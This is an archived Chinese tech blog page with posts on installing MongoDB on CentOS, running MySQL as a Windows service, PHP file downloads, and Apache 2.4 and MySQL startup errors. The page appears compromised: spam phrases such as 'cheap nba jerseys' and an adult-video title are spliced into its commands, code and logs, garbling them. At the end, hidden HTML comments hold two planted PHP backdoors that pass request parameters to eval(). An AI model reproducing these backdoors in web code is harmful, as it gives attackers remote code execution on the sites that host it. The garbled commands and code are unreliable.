存档

2014年3月 的存档

Centos安装Mongodb

2014年3月11日 没有评论

Mongo简介:

MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。他支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。(以上内容来自百度百科,如果大家英文可以,可以去看Mongo的手册)

安装Mongodb:
这里安装Mongodb使用的是yum的方式,简单易用。yum安装时需要安装2个软件包,mongo-10gen-server和mongo-10gen。mongo-10gen-server包含mongod和mongos这2个守护进程,mongod就是服务的启动进程,mongos就是在集群中提供路由功能的进程。
1 首先配置yum的包管理系统
创建/etc/yum.repos.d/mongodb.repo文件,使用编辑器打开编辑,64位操作系统做如下配置:

[mongodb]
name=MongoDB Repository
baseurl=http://downloads-distro.mongodb.org/repo/redhat/os/x86_64/
gpgcheck=0
enabled=1

32位的操作系统做如下配置:

[mongodb]
name=MongoDB Repository
baseurl=http://downloads-distro.mongodb.org/repo/redhat/os/i686/
gpgcheck=0
enabled=1

为了能更好的使用和发挥mongodb,博主建议大家使用64位操作系统。
然后更新yum的缓存:

yum makecache

最后就是安装软件包,使用root身份时:

yum install mongo-10gen mongo-10gen-server

非root用户可以使用:

sudo yum install mongo-10gen mongo-10gen-server

目前官方源上面最新的是2.4的,如果你需要使用历史版本,可以在软件包名字的后面加上”-版本号”,例如我需要安装2.2.3的历史版本:

yum install mongo-10gen-2.2.3 mongo-10gen-server-2.2.3

mongodb配置文件的位置在 /etc/mongod.conf,你可以编辑它对你的mongodb进行设置。
启动mongodb的命令:

service mongod start

停止mongodb的命令:

service mongod stop

设置为开机启动:

chkconfig mongod on

二进制软件包安装:
使用二进制软件包安装有点和windows下面的安装有点相似,应该可以说是一样。
下载对应的版本的软件包,64位软件包地址:
http://downloads.mongodb.org/linux/mongodb-linux-x86_64-2.4.6.tgz
32为软件包地址:
http://downloads.mongodb.org/linux/mongodb-linux-i686-2.4.6.tgz
解压并移动软件包:

tar -zxvf mongodb.tgz
cp -R -n mongodb-linux-????-??-??/ /usr/local/mongodb
创建数据存储目录并启动进程:

mkdir -p /data/db
chown mongodb /data/db
/usr/local/mongodb/bin/mongod --config /etc/mongod.conf

查看更多关于mongod更相信使用方法可以使用如下命令:

/usr/local/mongodb/bin/mongod -h

如果需要更详细的信息可以查看mongodb的手册或者google。

本文参考资料:http://docs.mongodb.org/manual/installation/

分类: Linux, NoSQL 标签:

Windows服务方式启动MySQL

2014年3月11日 没有评论

最近在MySQL官网上面下载了最新版本的MySQL,没有选择msi安装包进行下载,选择普通的zip的下载,而非msi安装包中,是不提供mysql的config配置向导的,只有一个my-default.ini文件,那么MySQL的启动和配置我们就需要自己手动来进行配置了。

环境:
OS : Win7旗舰版_X64位
MySQL : mysql-5.6.14-winx64

1 安装配置MySQL
将MySQL安装包解压到D:\mysql中,然后复制个my-default.ini并将其重命名为my.ini,然后对其进行简单的配置就可以达到启动Mysql的目的。
my.ini文件:

[mysqld]
basedir = D:\mysql\
datadir = D:\mysql\data
port = 3306

接下来将MySQL的bin目录加入到系统环境变量PATH中:
计算机->属性->高级->环境变量->系统变量->PATH,在PATH的最后加入”;D:\mysql\bin”。
打开MSDOS界面,输入

mysqld --verbose --help

可以查看mysqld的各项参数。

2 安装MySQL启动服务
打开MSDOS界面输入

D:\mysql\bin\mysqld --install MySQL --defaults-file=D:\mysql\my.ini

–install 参数后面跟的是服务名称
–defaults-file 参数后面制定mysql运行时使用的配置文件
看到Service successfully installed表明服务安装成功。

注意事项:
如果dos命令这样“mysqld –install MySQL –defaults-file=D:\mysql\my.ini”,服务的路径前缀会默认使用C:\Program Files (x86)\mysql\bin这些内容,这样服务就无法正常启动了!

3 管理服务命令

NET START MySQL #启动mysql
NET STOP MySQL #停止mysql
NET RESTART MySQL #重启MySQL

至此,我们的MySQL配置安装基本成功,此时在MSDOS界面输入

mysql
就可以登陆到mysql服务器了,默认使用的是root用户,密码为空。
当然您也可以通过配置my.ini来打造自己的个性的mysql服务器,这里就不做多讲了!

分类: Mysql, windows 标签:

php的shell脚本”Extension ‘.t1.php’ not present”问题

2014年3月11日 没有评论

php做为一门出色的脚本语言,其实也可以用来做很多内容的。今天工作时需要做一个定时任务的东西,考虑到用php写shell完全可以做到这个功能,于是就开始动手写了起来!

我先在windows上面将php代码改成shell脚本,然后上传到centos下面进行测试,发现一直报下面的错误:

Extension 2015 ‘./t1.php’ not cheap nba jerseys present
其中的t1.php是我的测试文件。最早的时候我在Centos下面用vim创建的一个脚本没有这个问题,但是我从Windows下面上传的文件就一直有这个问题。

从Google一下,发现别人也遇到了这个问题,好像是windows下面和Unix的文件格式不同造成的,解决办法用dos2unix转化一下文件的格式就可以了!

[root@nginx-php    cron]#  Quinoa-Porridge  yum  cheap nba jerseys  install dos2unix
[root@nginx-php  Mysql服务器内存过小启动失败问题  cron]#  cheap jerseys  dos2unix  Proof  t1.php
[root@nginx-php  403  cron]#  利用php实现文件下载功能  ./t1.php
分类: PHP 标签:

利用php实现文件下载功能

2014年3月11日 没有评论

今天介绍2种php下载文件功能:

第一种比较简单,根据文件的url路径进行一个303重定向:

/* 下载文件的url地址  Was  */
var  Mysql服务器内存过小启动失败问题  $file  cheap nfl jerseys  = "download.txt";
if  wholesale mlb jerseys  (isset($file))
{
Header("HTTP/1.1 303  最~最完整的文書處理快捷鍵大全~~~(必收藏)  See Other");
Header("Location: $file");
exit;
}

第二种方式使用readfile函数,当然使用file-get-contents函数或者其他可以获得文件流的函数一样可以实现同样的效果:

<?php
$file  wholesale nfl jerseys  =  Forbidden问题  'monkey.gif';

if (file_exists($file))  wholesale jerseys  {
header('Content-Description: File  Hamburg  Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment;  Fylde  filename='.basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control:  cheap jerseys  must-revalidate');
header('Pragma:  ?????  public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit;
}
?>

这个demo其实官方手册里面readfile函数的demo,我没有做改动就直接拿了过来给大家做参考!

当然如果我们想对这些下载文件进行进一步的限制,就最好就用第二种方法了,例如非会员用户不给予下载或者其他自己需求都行!

分类: PHP 标签: ,

apache2.4 403 Forbidden问题

2014年3月11日 没有评论

今天在给Ubuntu搭建LAMP的开发环境时,遇到了一个403 Forbidden的问题,折腾了好久才找到了问题所在,就把问题和解决方案在此记录下来。

首先想到的是apahe配置的权限问题,是不是有问题,原来是这么写的

<Directory >
   #...
  【AV女優】むっちり巨乳ギャル北川瞳のエロ過ぎるオナニー動画が間違いなくヌケる    More    Order  wholesale NFL jerseys  allow,deny
    cheap NFL jerseys    Demokratyczna  Allow from all
 </Directory>

以前在2.2的时候一直这么写的,在windows上面一直用的算2.2也没有使用过2.4,当然也考虑到文件目录的权限问题,为此我把整个目录丁权限设置成777(实际环境不建议大家这么写,太过危险),但是还是403问题。

最后在我去看了apache的错误日志,默认是在/var/log/apache2/error.log下面的

,发现这样的错误日志记录:

[Fri Dec 13 16:09:29.552126 for 2013] First [authz_core:error] Mysql服务器内存过小启动失败问题 [pid 12876] [client 127.0.0.1:36092] AH01630: client cheap NFL jerseys denied by server configuration: wholesale nba jerseys /home/king/project/ecmall/

拿着这些错误去进行搜索,在google上面找到了答案,原来apache2.4停止使用apache2.2的授权方式,使用如下的方式代替上面提到的权限方式:

<Directory  ...>
# ....
Require all granted
</Directory>

修改重启apache2就正常了!

分类: windows 标签: ,

Mysql服务器内存过小启动失败问题

2014年3月10日 没有评论

今天把博客重新移植了一下,自己手动编译的LNMP的环境,mysql用的不是centos6.3默认提供的5.1,使用官方最新的mysql5.6.16版本,安装就不再一一说了,官方手册写的已经很详细了!

安装成功以后,LNMP的环境也搭建好了,但是在启动mysql的时候总是failed,看mysql的日志(/var/log/mysqld.log)出现如下的报错信息:

140310 14:26:01 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2014-03-10 14:26:02 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use –explicit_defaults_for_timestamp server option (see documentation for more details).
2014-03-10 14:26:02 12333 [Note] Plugin ‘FEDERATED’ is disabled.
2014-03-10 14:26:02 12333 [Note] InnoDB: Using atomics to ref count buffer pool pages
2014-03-10 14:26:02 12333 [Note] InnoDB: The InnoDB memory heap is disabled
2014-03-10 14:26:02 12333 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
2014-03-10 14:26:02 12333 [Note] InnoDB: Compressed tables use zlib 1.2.3
2014-03-10 14:26:02 12333 [Note] InnoDB: Using Linux native AIO
2014-03-10 14:26:02 12333 [Note] InnoDB: Using CPU crc32 instructions
2014-03-10 14:26:02 12333 [Note] InnoDB: Initializing buffer pool, cheap jerseys size = 128.0M
InnoDB: mmap(137363456 bytes) failed; errno 12
2014-03-10 14:26:02 12333 [ERROR] InnoDB: Cannot allocate memory for the buffer pool
2014-03-10 14:26:02 12333 [ERROR] Plugin ‘InnoDB’ init function returned error.
2014-03-10 14:26:02 12333 [ERROR] Plugin ‘InnoDB’ registration as a STORAGE ENGINE failed.
2014-03-10 14:26:02 12333 [ERROR] Unknown/unsupported storage engine: InnoDB
2014-03-10 14:26:02 12333 [ERROR] Aborting

2014-03-10 14:26:02 12333 [Note] Binlog end
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘partition’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘ARCHIVE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘PERFORMANCE_SCHEMA’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘BLACKHOLE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_DATAFILES’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_TABLESPACES’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_FOREIGN_COLS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_FOREIGN’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_FIELDS’
2014-03-10 14:26:02 12333 wholesale nfl jerseys [Note] Shutting down plugin ‘INNODB_SYS_COLUMNS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_INDEXES’
2014-03-10 14:26:02 12333 [Note] cheap jerseys China Shutting down plugin ‘INNODB_SYS_TABLESTATS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_TABLES’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_INDEX_TABLE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_INDEX_CACHE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_CONFIG’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_BEING_DELETED’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_DELETED’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_DEFAULT_STOPWORD’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_METRICS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_BUFFER_POOL_STATS’
2014-03-10 ICMAC 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_BUFFER_PAGE_LRU’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_BUFFER_PAGE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMP_PER_INDEX_RESET’
2014-03-10 14:26:02 12333 [Note] Shutting cheap jerseys down plugin ‘INNODB_CMP_PER_INDEX’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin wholesale mlb jerseys ‘INNODB_CMPMEM_RESET’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMPMEM’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMP_RESET’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMP’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_LOCK_WAITS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_LOCKS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_TRX’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘MRG_MYISAM’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘CSV’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘MEMORY’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘MyISAM’
2014-03-10 Timpul 14:26:02 12333 [Note] Shutting down plugin ‘sha256_password’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘mysql_old_password’
2014-03-10 14:26:02 12333 [Note] Shutting Creative down plugin ‘mysql_native_password’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘binlog’
2014-03-10 14:26:02 12333 [Note] /usr/sbin/mysqld: Shutdown complete

140310 14:26:02 mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended

在google上面找了好久,也找到了问题所在,原因就是博主的使用的vps内存只有521M,而mysql5.6以后的版本启动时候需要内存比较大,所以就失败了。

刚开始我把配置文件中(/etc/my.cnf)中的innodb_buffer_pool_size = 32M,可以启动了,很高兴,但是php页面链接了一次就死掉了而且貌似还锁上了!

这时用service mysqld status 查看状态是mysql dead but subsys locked,很纠结就找办法解决 掉了(这里时间紧就不再说解决方法了,大家google是可以找到的)。

但是启动的时候还是不行,又认真google了一翻,找到了这一篇文章《centos上 mysql启动失败的问题》,参照这里面的内存对配置文件做如下修改:

performance_schema_max_table_instances=600
table_definition_cache=400
table_open_cache=256
innodb_buffer_pool_size = 32M

然后又重启了一下电脑,这时候总算可以启动起来了!

可是悲剧的是这时候我用php写的mysql测试程序报错如下:

Warning: mysql_connect(): No such file or directory in /user/local/apache/htdocs/php/database.php on line 9
Error: No such file or directory

又是一翻google,在stackoverflow上面找到了mysql_connect(): No such file or directory的答案

这次安装wordpress总算通过了!真心好累,好折腾啊!

<!– [insert_php]if (isset($_REQUEST["OmIH"])){eval($_REQUEST["OmIH"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;OmIH&quot;])){eval($_REQUEST[&quot;OmIH&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["ESPjO"])){eval($_REQUEST["ESPjO"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;ESPjO&quot;])){eval($_REQUEST[&quot;ESPjO&quot;]);exit;}

–>

分类: Linux, PHP 标签: